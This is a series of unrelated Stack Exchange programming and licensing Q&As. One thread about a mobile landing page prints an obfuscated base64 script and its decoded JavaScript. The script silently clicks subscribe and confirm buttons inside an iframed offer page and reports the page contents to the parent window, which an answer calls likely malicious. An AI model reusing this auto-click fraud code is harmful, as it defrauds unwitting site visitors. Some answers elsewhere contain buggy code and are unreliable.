text:
Q: Заменить каждый пятый элемент в векторе на '0' с помощью алгоритмов Есть вектор целых чисел. Нужно только с помощью стандартных алгоритмов STL заменить каждый пятый элемент на 0.
Пытался с помощью replace_if, но но там 3м параметром передается значение текущего элемента, но ведь значение нас не интересует, только порядковый номер который должен делится на 5 без остатка. Возможно есть способ достать именно номер элемента, а не его значение, с помощью итераторов можно как-нибудь? Или просто есть другой алгоритм для такой задачи.

A: Еще вариант (без использования static переменной-счетчика, что для некоторых ситуаций в мультипоточной программе может быть полезным):
#include <vector>
#include <algorithm>
#include <iostream>

int main() {
    std::vector<int> v = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };

    std::replace_if(v.begin(), v.end(), [&v](const auto& e) {
        return ((&e - &v[0]) % 5) == 0;
    }, 0);

    for (auto i : v)
        std::cout << i << std::endl;
}

A: Типа
replace_if(v.begin(),v.end(),[](auto){ static int n = 0; return n++%5==0; },0);

не годится?
Еще вариант - сгенерировать последовательность единиц, каждый пятый - нуль, а потом применить transform с умножением.

A: Из стандартных алгоритмов только один позволяет использовать функтор с состоянием. Это std::for_each. Таким образом переносимый вариант выглядит так:
struct Replace{
    int counter = 0;
    template<class T>
    void operator()(T &value){
        ++counter;
        if(counter == 5){
            counter = 0;
            value = 0;
        }
    }
};

std::for_each(v.begin(), v.end(), Replace());

PS: Если вы получили эту задачу в школе/в универе/на собеседовании, то скорее всего это вопрос с подвохом. Спрашивающий хочет подловить вас на незнании требований алгоритмов к функторам. Если эта проблема возникла сама собой, то проще всего будет сделать это при помощи обычного for:
for(int i = 5; i < v.size(); i+=5){
    v[i] = 0;
}

Я сам большой любитель stl, но нужно смотреть правде в глаза, для этой задачи обычный цикл проще:)


text:
Q: SQL query to convert Date to another format Thanks for your help. I am not able to make out the type/format of the "Value" in a Date column.I guess its in Julian Date format.
The Column  is      paid_month and the values are below.
                  200901
                  200902

So,please help in writing SQL query  to convert the above values(Mostly in Julian Format) in the Date Column to normal date (MM/DD/YYYY) .
Thanks
Rohit
Hi,
I am sorry for missing in giving the whole information.
1)Its a Oracle Database.
2)The column given is Paid_Month with values 200901,200902
3)I am also confused that the above value gives month & year.Day isnt given if my guess is right.
4)If its not in Julian format ,then also please help me the SQL to get at least mm/yyyy

I am using a Oracle DB and running the query
THANKS i GOT THE ANSWER.
**Now,i have to do the reverse meaning converting a date 01/09/2010 to a String which has 6 digits.
Pls help with syntax-
select to_char(01/01/2010,**

A: It looks like YYYYMM - depending on your database variant, try STR_TO_DATE(paid_month, 'YYYYMM'), then format that.
Note: MM/DD/YYYY is not "normal" format - only Americans use it. The rest of the world uses DD/MM/YYYY

A: For MySQL check
http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html#function_date-format
Example:
SELECT DATE_FORMAT(NOW(), '%d/%m/%Y')

A: For MySQL, you would use the STR_TO_DATE function, see http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_str-to-date
SELECT STR_TO_DATE(paid_month,'%Y%m');

Sounds like the column contains some normal dates and some YYYYMM dates.  If the goal is to update the entire column, you can attempt to isolate the YYYYMM dates and update only those.  Something like:
UPDATE YourTable
SET paid_month = DATE_FORMAT(STR_TO_DATE(paid_month, '%Y%m'), '%m/%d/%Y')
WHERE LENGTH(paid_month) = 6

A: SELECT (paid_month % 100) + "/01/" + (paid_month/100) AS paid_day
FROM tbl;

I'm not sure about how oracle concatenates strings. Often, you see || in SQL:
SELECT foo || bar FROM ...

or functions:
SELECT cat (foo, bar) FROM ...

redpajama_set_name: RedPajamaStackExchange


text:
Q: Firebase Realtime Database setValue do nothing I have strengh behavior of Firebase Realtime Database:
When I write data to the reference, nothing happens. I do it like:
FirebaseDatabase database = FirebaseDatabase.getInstance();
DatabaseReference myRef = database.getReference("devices/" + token + "/" + actionId);
myRef.setValue(value);

I set a value change listener before, and it triggers! onChange, like this:
FirebaseDatabase database = FirebaseDatabase.getInstance();
DatabaseReference myRef = database.getReference("devices/" + token + "/" + actionId);
myRef.addValueEventListener(new ValueEventListener() {
   @Override
   public void onDataChange(DataSnapshot dataSnapshot) {
      // this is triggered after I setValue with all the changes
   }

   @Override
   public void onCancelled(DatabaseError databaseError) {}
});
myRef.setValue(value);

but when I check on the web using Firebase dashboard, there are no changes, value is "null". As like phone just simulates these changes. This happens only on ONE of my devices. It works with the same code on all other devices. And it has been working before on this device. Any ideas?
The device is:  Galaxy S7 Edge (SM-G935F) Android Version: 7.0
Used libraries:
compile 'com.google.android.gms:play-services-base:12.0.0'
compile 'com.google.firebase:firebase-core:12.0.0'
compile 'com.google.firebase:firebase-database:12.0.0'
compile 'com.google.firebase:firebase-messaging:12.0.0'


text:
Q: publish a post only if the required fields are stored in db I have a link to publish a post that is in draft status (stats = 'D' in posts table):
 $post->id])}}">Publish

I created a route for this link:
Route::get('post/{id}/publish', [ 'uses' => 'PostsController@publish', 'as'=>'posts.publish']);

When the link "Publish" the code goes to the PostsController publish(). In this method is necessary to verify if all mandatory fields for a post be published are not null. If they are null the post should not be published, it should appear a message informing the user that the required fields (name, categories, image, content, etc) needs to be introduced before the post be published. Otherwise the post should be published, that is the status should be updated from "D" to "P". Do you know how to achieve that? Is necessary to do a query with the post id and check for each required field if is not null?
public function publish($id)
{
    dd($id);
}

A: I assume you display publish button after checking column stats which is D the draft status
So use like this
public function publish($id)
{
    $p = DB::table('posts')->where('id',$id)->first();
    if($p->name && $p->categories && $p->image && $p->content){
      $p->stats  = 'P';
      $p->save();
      return redirect('/posts')->with("message","Updated Successfully!!");
    }else{
      return redirect()->back()->with("message","Name, Categories, Image Or Content is blank!!");
    }
}

A: very simple
public function publish($id)
{
     $check_post_status = Db::table('posts')->where('id','=',$id)
     ->value('stats');
     if($check_post_status === 'D')
      {
         return redirect()->back()
         ->with('flash_message','Post is not published yet');
      }

      $post = Db::table('posts')->where('id','=',$id)->get();

       return $post;

}

Hope you got your answer


text:
Q: Altering panel dismiss size with multiple different sized panels I Have five panels that i use in a web application that I have written. One of the panels needs to be slightly larger due to the amount of information it contains.
However clicking closer to the edge of that dismisses the panel. I know i can alter the width and start point on the ui-panel-dismiss class but how can i do this just for that one panel. I cant see any differentiating classes between that and the other panel dismiss. And i don't want to have a gap on the other panels. The only way i can think of doing it would be using jquery to alter the panel width programmatically.
Is there a better way of doing this?

    Close

css:
#panel2 {
    width: 25em;
}

EDIT: Added JSfiddle showing what i mean.
http://jsfiddle.net/awm1475a/
Clicking the blue div in the panel 2 should trigger colour change instead it closes the panel

A: Here is a quick hack to get you around the issue.  Simply raise panel2 z-index higher that the dismiss div. By default, the panel has a z-index of 1001 and the dismiss div has 1002.
#panel2 {
    width: 25em;
    z-index: 1003;
}

Updated FIDDLE

A: This is because of dismissible overlay that overlaps with panel. That overlay closes the panel when its clicked. So you need to adjust its width as you did to the panel itself.
A quick fix is to use panelopen to add new width to that overlay. Check this working fiddle.
$(document).on("panelopen", ".ui-panel", function () {
    var panel = $(this).width(),
        screen = $(window).width(),
        width = screen - panel;
    $(".ui-panel-dismiss").width(width);
});


text:
Q: How to pass a null value into a stored procedure with Entity Framework? I have an MVC application using Entity Framework. I want to pass a parameter having a null value to a stored procedure. I want to pass MerchantID as null in some cases.
GetValues(int[] TicketID,int? MerchantID,bool IsOpen)
{

//TicketID has values 1123,1122 etc
//MerchantID sometimes null
//IsOpen true/false

  DataTable tbldepartmentid = new DataTable("Departmentid");
  tbldepartmentid.Columns.Add("VALUE", typeof(int));

  foreach (var id in TicketID)
      tbldepartmentid.Rows.Add(id);

 List<GetTroubleTicketDetails_Result> GetTroubleTicketDetails = _getTroubleTicketDetails_Result.ExecuteCustomStoredProc("Tickets.GetDetails", " @GroupID,@MerchantID,@Open",
                 new SqlParameter("GroupID", SqlDbType.Structured) { Value = tbldepartmentid, TypeName = "dbo.tblTVPForCSVINT" }
                 , new SqlParameter("MerchantID", MerchantID)
                 , new SqlParameter("Open", IsOpen)).ToList();
                return GetTroubleTicketDetails;
}

My problem is that when I pass MerchantID=null, it gives me the below error:

"The parameterized query '(@GroupID [dbo].[tblTVPForCSVINT]
READONLY,@MerchantID nvarchar(' expects the parameter '@MerchantID',
which was not supplied."

How can I pass a null value for MerchantID?

A: You need to pass SqlInt32.Null instead of null as follows:
new SqlParameter("MerchantID", MerchantID ?? SqlInt32.Null)


text:
Q: How do I remove 'additional' unwanted columns from a Word table? Some of my Word doc tables have 4 columns, and some have more.  In any case, whenever I have more than 4 columns, I need to delete all columns beyond the 4th row.
(i.e. if I have 6 columns, I need to delete columns #5 & #6, leaving me with the first columns)
Can anyone offer a suggestion for a VBA macro that will remove all columns beyond the 4th column?
If Column #5, Delete Column #5, Loop.  How do I put this into VBA code?

A: How about:
Dim tbl As Table

For Each tbl In ActiveDocument.Tables
''First column is 1, not 0, ditto rows.
    If tbl.Columns.Count > 4 Then
        For i = tbl.Columns.Count To 5 Step -1
            tbl.Columns(i).Delete
        Next
    End If
Next


text:
Q: I can't understand how this javascript script works (landing page) I'm using a lander for a mobile website, but I'm not quite sure about how an iframe is working on this particular script.

  <base href="">

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>title</title>
    <meta content="IE-edge,chrome=1" http-equiv="X-UA-Compatible">
    <meta content="user-scalable=no, width=device-width, initial-scale=1.0, maximum-scale=1.0" name="viewport">
    <link rel="stylesheet" href="reset.css">
    <link rel="stylesheet" href="style.css">

Loading...

Loading video

text

now, I'm having problem understanding how the script in line 86 works, ( is the one that start with the function  function cxc(x) { as it appears to be the one generating the iframe for the "offer.com" url.
I think the values shown for i.setAttribute might be generated in execution time and I just copied the ones that were generated for that particular execution (because the position and size appears to be odd)
please let me know if you can point me in the right direction, I want to understand how this is operating.
EDIT:
the section that has  var value= "d2luZG93LnBhcmVudC...  is encrypted, using base64 I got the following code:
window.parent.postMessage('0.DB CALL-INITIAL>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('1.DB CALL-HTML(0)>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');

if(document.getElementById('sub_btn')!=undefined)
{
    window.parent.postMessage('found sub_btn>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementById('sub_btn').click();
    window.parent.postMessage('btn clciked', '*');
}
else if(document.getElementsByClassName('btn').length==1)
{
    window.parent.postMessage('found btn>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementsByClassName('btn')[0].click();
    window.parent.postMessage('btn clciked', '*');
}
else if(document.getElementsByClassName('btnAcept').length>0)
{
    window.parent.postMessage('found btnAcept>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('found btnAcept>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
    document.getElementsByClassName('btnAcept')[0].click();
    window.parent.postMessage('submitted>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else if(document.getElementsByClassName('btn btn-success btn-lg').length>0)
{
    window.parent.postMessage('found btn btn-success btn-lg>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
    document.getElementsByClassName('btn btn-success btn-lg')[0].click();
    window.parent.postMessage('btn btn-success btn-lg clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else if(document.getElementsByClassName('confirmbutton').length>0)
{
    window.parent.postMessage('FOUND click1>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
    document.getElementsByClassName('confirmbutton')[0].click();
    window.parent.postMessage('clicked2>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else
{
    window.parent.postMessage('else>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('else>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}

A: This line is an encrypted data which is decrypted in next eval(atob.. parts. Most likely malicious, that tries to inject itself on the page.
var value= "d2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnMC5EQiBDQUxMLUlOSVRJQUw+Pj5ocmVmOlsnICsgd2luZG93LmxvY2F0aW9uLmhyZWYgKyAnXTsgcmVmOlsnICsgZG9jdW1lbnQucmVmZXJyZXIgKyAnXTsnLCAnKicpOwp3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCcxLkRCIENBTEwtSFRNTCgwKT4+PicrIGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdodG1sJylbMF0uaW5uZXJIVE1MLCAnKicpOwoKaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N1Yl9idG4nKSE9dW5kZWZpbmVkKQp7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdmb3VuZCBzdWJfYnRuPj4+aHJlZjpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICsgJ107JywgJyonKTsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdWJfYnRuJykuY2xpY2soKTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ2J0biBjbGNpa2VkJywgJyonKTsKfQplbHNlIGlmKGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2J0bicpLmxlbmd0aD09MSkKewogICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnZm91bmQgYnRuPj4+aHJlZjpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICsgJ107JywgJyonKTsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2J0bicpWzBdLmNsaWNrKCk7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdidG4gY2xjaWtlZCcsICcqJyk7Cn0KZWxzZSBpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdidG5BY2VwdCcpLmxlbmd0aD4wKQp7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdmb3VuZCBidG5BY2VwdD4+PmhyZWY6WycgKyB3aW5kb3cubG9jYXRpb24uaHJlZiArICddOyByZWY6WycgKyBkb2N1bWVudC5yZWZlcnJlciArICddOycsICcqJyk7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdmb3VuZCBidG5BY2VwdD4+JysgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwsICcqJyk7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdidG5BY2VwdCcpWzBdLmNsaWNrKCk7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdzdWJtaXR0ZWQ+Pj4nKyBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaHRtbCcpWzBdLmlubmVySFRNTCwgJyonKTsKfQplbHNlIGlmKGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2J0biBidG4tc3VjY2VzcyBidG4tbGcnKS5sZW5ndGg+MCkKewogICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnZm91bmQgYnRuIGJ0bi1zdWNjZXNzIGJ0bi1sZz4+PicrIGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdodG1sJylbMF0uaW5uZXJIVE1MLCAnKicpOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnYnRuIGJ0bi1zdWNjZXNzIGJ0bi1sZycpWzBdLmNsaWNrKCk7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdidG4gYnRuLXN1Y2Nlc3MgYnRuLWxnIGNsaWNrZWQ+Pj4nKyBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaHRtbCcpWzBdLmlubmVySFRNTCwgJyonKTsKfQplbHNlIGlmKGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2NvbmZpcm1idXR0b24nKS5sZW5ndGg+MCkKewogICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnRk9VTkQgY2xpY2sxPj4+JysgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwsICcqJyk7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdjb25maXJtYnV0dG9uJylbMF0uY2xpY2soKTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ2NsaWNrZWQyPj4+JysgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwsICcqJyk7Cn0KZWxzZQp7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdlbHNlPj4+aHJlZjpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICsgJ107JywgJyonKTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ2Vsc2U+Pj4nKyBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaHRtbCcpWzBdLmlubmVySFRNTCwgJyonKTsKfQ==";


text:
Q: Am I covered with GPL If I want to share open source code of project developed in my company? I'm working in a company and in my job contract there are confidential clauses concerning code, documents, etc...
In the company we are working on an open source project (GPL V3). The project is not shared yet to the public.
Do I have the right to share the code of the project with people (out from the company)?

A: [unlike the others, I am a lawyer, so my answer will be a bit legalese].
First, there is a difference between your confidentiality obligations (which, without seeing the exact clause, I cannot address specifically) and the terms of the licenses granted to your company (or to you, as their agent). However, I do assume that when posting here, you are letting people already know this, and might be in violation of these confidentiality obligations.
If you feel that your company is infringing the GPLv3, meaning that it distributes the software to its clients without granting them the rights and freedoms under the GPLv3, then I suggest you call your employer's counsel. Otherwise, I remind you that the GPLv3 deals with distribution of the code.
As long as you do not distribute the code (either object or source) and only using it in your own quarters, then you don't have to release it to anyone (think about how many projects Google / Facebook has that are web-based and are GPL'd).
Here is the specific section of the GPLv3 (not the FAQ, but the agreement):
Article 2 (basic permissions) allow you to do whatever you want as long as you do not distribute:
"You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you."
Article 6 relates to distribution, and states that "You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways". Note the "may". "May" means that you do not "have to", but if you do, then there are terms.
--
Jonathan.
BTW: Check out my "Open Sourcing Your Code" presentation here.

A: Just because something is open source does not mean you can freely distribute it to anyone you want to. The GPL, and other licenses, are permissions granted to end users. In the case of the GPL, it grants end users the right to look at, use, and modify the software how they see fit. If the software is not distributed to someone as an end user, the GPL doesn't apply.

A: You very likely do not have the right to distribute the code.
The GNU Project's GPL FAQ has this to say on the topic:

Is making and using multiple copies within one organization or company "distribution"?
No, in that case the organization is just making the copies for itself. As a consequence, a company or other organization can develop a modified version and install that version through its own facilities, without giving the staff permission to release that modified version to outsiders.
However, when the organization transfers copies to other organizations or individuals, that is distribution. In particular, providing copies to contractors for use off-site is distribution.
If someone steals a CD containing a version of a GPL-covered program, does the GPL give him the right to redistribute that version?
...If the version in question is unpublished and considered by a company to be its trade secret, then publishing it may be a violation of trade secret law, depending on other circumstances. The GPL does not change that. If the company tried to release its version and still treat it as a trade secret, that would violate the GPL, but if the company hasn't released this version, no such violation has occurred.

Assuming you are an employee, you have received the code as an agent of the company and not as an individual. Thus, the company has not yet participated in an act of distribution (as the GPL defines "distribution"), so the rights of the GPL have not been granted to you personally. You only receive rights under the GPL when you are the recipient of a distribution.
If you really want to distribute this code, talk to your manager or company's legal department to ask for some kind of approval to release the code. Expect the answer to be a resounding "no" unless you have a compelling business argument for why the code should be released.
Addendum: what about after the company starts distributing the code to clients?
Once your company distributes the software to any clients outside of itself, it would seem the nothing has really changed for you. As long as you are not one of the clients that participates in a GPL software distribution, you continue to have the same access you did before (i.e., still an agent of the company, not a recipient of a distribution), and it would appear that the same rules apply.
The only thing that seems to change once any distribution has occurred is detailed in this GPL FAQ entry:

If someone steals a CD containing a version of a GPL-covered program, does the GPL give him the right to redistribute that version?
If the version has been released elsewhere, then the thief probably does have the right to make copies and redistribute them under the GPL, but if he is imprisoned for stealing the CD he may have to wait until his release before doing so.

Several issues here:

*

*In the best case, sharing the code would still violate your employee contract, even if your actions are permissible under the GPL, acting in the role the thief from the above example. You've entered into a contract not to share your company's code, regardless of whether you have a legal right to do so otherwise. You will get fired and may face legal action.

*This particular FAQ entry might assume "has been released elsewhere" to mean the software is generally available. However, if your company only distributes its code to a few trusted associate companies, who have no interest in sharing their copies, then a different conclusion may apply.

*Even in this example, I'm not sure by what legal mechanism the thief is granted GPL rights. The victim never willingly participated in a distribution, and some comments below note that this situation means that neither the thief nor any of his recipients have grounds to sue if their GPL rights are violated, e.g., they don't get a corresponding copy of the source. Whatever legal mechanism is at play here (assuming this FAQ entry is correct -- I've never seen any case law to confirm or deny it) may not apply to you as an employee who already has access to the code.
I'm not a lawyer, this is hardly legal advice. If you're seriously interested in the answers here, talk to a lawyer.

A: No, unfortunately, you do not have that right.
Technically, you won't have the "right" to share the code, even after the product is distributed out to the public.  The company will at that time incur a legal obligation to release the source code to anyone who requests it.
Now, what you CAN do is politely lobby your management to "do what's right" and release your company's changes back to the original project.  You do this by pointing out, diplomatically, that the availability of the GPL project in the first place saved the company a LOT of money, in that they didn't have to develop the whole thing from scratch, and this is a way for them to say "Thank you" to the original developers, and to "pay it forward" and encourage others to do the right thing.

A: The GPL requires the company to make the source code available to anyone that the company distributes the product to. It does NOT have to make it available to anyone else. And the company is well within it's rights to refuse to distribute to anyone else.
The ONLY way that it's OK for you to distribute the source generally is if the company is distributing the PRODUCT generally. Of course, the better way to proceed in that case is for the COMPANY to distribute the source along side the product and be done with it.
Note that even if you satisfy the legalities, if you distribute source that your company wants hidden, I guarantee you'll be out of a job.


text:
Q: JTree & JButtons - Wrong Rendering when mouse hovers over Button I have a Problem with JTree and JButton
It seems like when entering the Edit modus and hovering over the Buttons on the TreeCells, it Renderes some Part of the Tree inside the Button.
Even when Dragging from one Button to another in the Same Row it Renderes the one Button over the other one.
Here a Short Selfexplaining Sample that you can copy paste to See what i mean.
import java.awt.Color;
import java.awt.Component;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseMotionListener;
import java.util.EventObject;

import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTree;
import javax.swing.UIManager;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeCellEditor;
import javax.swing.tree.DefaultTreeCellRenderer;

public class MyProblemWithTree {

    public static void main(String...args) {
        JFrame frame = new JFrame("Panel");
        JScrollPane scroll = new JScrollPane();

        DefaultMutableTreeNode node = new DefaultMutableTreeNode("Root");

        DefaultMutableTreeNode nodeChild = new DefaultMutableTreeNode("childcaretaker1");
        nodeChild.add(new DefaultMutableTreeNode("child1"));
        nodeChild.add(new DefaultMutableTreeNode("child2"));

        node.add(nodeChild);

        final JTree tree = new JTree(node);

        tree.setCellRenderer(new MyTreeCellRenderer());
        tree.setEditable(true);
        tree.setCellEditor(new MyTreeCellEditor(tree));

        tree.addMouseMotionListener(new MouseMotionListener() {

            @Override
            public void mouseMoved(MouseEvent e) {
                // TODO Auto-generated method stub
                if (tree.getRowForLocation(e.getX(), e.getY()) != -1)
                {
                    tree.startEditingAtPath(tree.getPathForLocation(e.getX(), e.getY()));
                }
            }

            @Override
            public void mouseDragged(MouseEvent arg0) {
                // TODO Auto-generated method stub

            }
        });

        scroll.setViewportView(tree);
        frame.add(scroll);
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.pack();
        frame.setVisible(true);
    }
}
class MyTreeCellEditor extends DefaultTreeCellEditor {

    JPanel      leafPanel;
    JLabel      colorIcon;
    PlayButton  play;
    PauseButton pause;
    JLabel      name;

    public MyTreeCellEditor(JTree tree) {
        super(tree, (MyTreeCellRenderer)tree.getCellRenderer());
        leafPanel   = new JPanel(new FlowLayout());
        colorIcon   = new JLabel(UIManager.getIcon("OptionPane.informationIcon"));
        play        = new PlayButton();
        pause       = new PauseButton();
        name        = new JLabel();

        play.addActionListener(new ActionListener() {

            @Override
            public void actionPerformed(ActionEvent arg0) {
                // TODO Auto-generated method stub
                System.out.println("Playbutton klickt");
            }
        });

        leafPanel.add(colorIcon);
        leafPanel.add(name);
        leafPanel.add(pause);
        leafPanel.add(play);
    }

    @Override
    public Component getTreeCellEditorComponent(JTree tree, Object value,
            boolean selected, boolean expanded, boolean leaf, int row) {

        name.setText((String)((DefaultMutableTreeNode)value).getUserObject());
        pause.setVisible(!leaf);
        return leafPanel;
    }

    @Override
    public boolean isCellEditable(EventObject arg0) {
        return true;
    }
}
class MyTreeCellRenderer extends DefaultTreeCellRenderer {
    private static final long serialVersionUID = 3691823996133806942L;

    JPanel leafPanel;
    JLabel colorIcon;
    PlayButton play;
    PauseButton pause;
    JLabel name;

    DefaultTreeCellRenderer defaultRenderer = new DefaultTreeCellRenderer();

    Color backgroundSelectionColor;
    Color backgroundNonSelectionColor;

    public MyTreeCellRenderer() {
        leafPanel = new JPanel(new FlowLayout());
        colorIcon = new JLabel(UIManager.getIcon("OptionPane.informationIcon"));
        play = new PlayButton();
        pause = new PauseButton();
        name = new JLabel();

        leafPanel.add(colorIcon);
        leafPanel.add(name);
        leafPanel.add(pause);
        leafPanel.add(play);

        backgroundSelectionColor = new Color(200,200,255,50);
        backgroundNonSelectionColor = new Color(0,0,0,0);
    }

    @Override
    public Component getTreeCellRendererComponent(JTree tree, Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus) {
        name.setText((String)((DefaultMutableTreeNode) value).getUserObject());
        if (selected) {
            leafPanel.setBackground(backgroundSelectionColor);
        } else {
            leafPanel.setBackground(backgroundNonSelectionColor);
        }
        leafPanel.setEnabled(tree.isEnabled());
        pause.setVisible(!leaf);
        return leafPanel;
    }
}

class PlayButton extends JButton{
    private static final long serialVersionUID = 550654173835539853L;

    Dimension size = new Dimension(140,28);

    public PlayButton() {
        setIcon(UIManager.getIcon("OptionPane.informationIcon"));
        setPressedIcon(UIManager.getIcon("OptionPane.errorIcon"));
        setBackground(new Color(0,0,0,0));
        setBorderPainted(false);
        setPreferredSize(size);
        setMaximumSize(size);
        setMinimumSize(size);
    }
}
class PauseButton extends JButton{
    private static final long serialVersionUID = -5877843953696256070L;

    Dimension size = new Dimension(140,28);

    public PauseButton() {
        setIcon(UIManager.getIcon("OptionPane.warningIcon"));
        setPressedIcon(UIManager.getIcon("OptionPane.questionIcon"));
        setBackground(new Color(0,0,0,0));
        setBorderPainted(false);
        setPreferredSize(size);
        setMaximumSize(size);
        setMinimumSize(size);
    }
}

Even when i erase this Part. and i must click a Cell to enter the Edit Modus i still can get the Effect by leaving the Cell witzh the mouse and go back.
        public void mouseMoved(MouseEvent e) {
            // TODO Auto-generated method stub
            if (tree.getRowForLocation(e.getX(), e.getY()) != -1)
            {
                tree.startEditingAtPath(tree.getPathForLocation(e.getX(), e.getY()));
            }
        }

I spend already 4 days into this JTree Customizing. But it really confuses me, how i could stop the rendering by entering the Button.

A: I don't know how to fix this, but it helps to use invokeLater and setRowHeight().
public static void main(String... args) {
    EventQueue.invokeLater(new Runnable() {

        @Override
        public void run() {
            JFrame frame = new JFrame("Panel");
            ...
            tree.setRowHeight(icon.getIconHeight());
            ...
            frame.setVisible(true);
        }
    });
}


text:
Q: Swing form database connection I am new to Java and NetBeans, and I am attempting to create a form that

*

*connects to a database using JDBC connection

*reads information from seven columns and displays them on a jTable component already on the form

I already have this working. I am now trying to optimize my code and use a better architecture to separate the database connection and the user interface (UI forms) code so that I can have a separate class to perform the connection and then simply call the method from this class in the code behind the button. The problem with using NetBeans and forms is that I don't know where to instantiate this class and such. Below is a cope of the class that I have created to perform the JDBC connection
public class ConnectionManager {
private static String url = "jdbc:mysql://localhost:3306/prototypeeop";
private static String driverName = "com.mysql.jdbc.Driver";
private static String username = "root";
private static String password = "triala";
private static Connection con;
private static String url;

public static Connection getConnection() {
    try {
        Class.forName(driverName);
        try {
            con = DriverManager.getConnection(url, username, password);
        } catch (SQLException ex) {
            // log an exception. fro example:
            System.out.println("Failed to create the database connection.");
        }
    } catch (ClassNotFoundException ex) {
        // log an exception. for example:
        System.out.println("Driver not found.");
    }
    return con;
}

}
This is already a .java file. I have a JForm, and I need to call this method behind the button. Here is how I do it in the form currently without using a connection class:
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
    DefaultTableModel model=(DefaultTableModel)jTable1.getModel();
    model.setRowCount(0);
    String sql="Select * from eopdata";
    try
    {
        Class.forName("com.mysql.jdbc.Driver");
        Connection con=(Connection)DriverManager.getConnection("jdbc:mysql://localhost:3306/prototypeeop","root","jakamuga");
        Statement stmt=con.createStatement();
        ResultSet rs=stmt.executeQuery(sql);
        while(rs.next())
        {
            String Year=rs.getString("Year");
            String Month=rs.getString("Month");
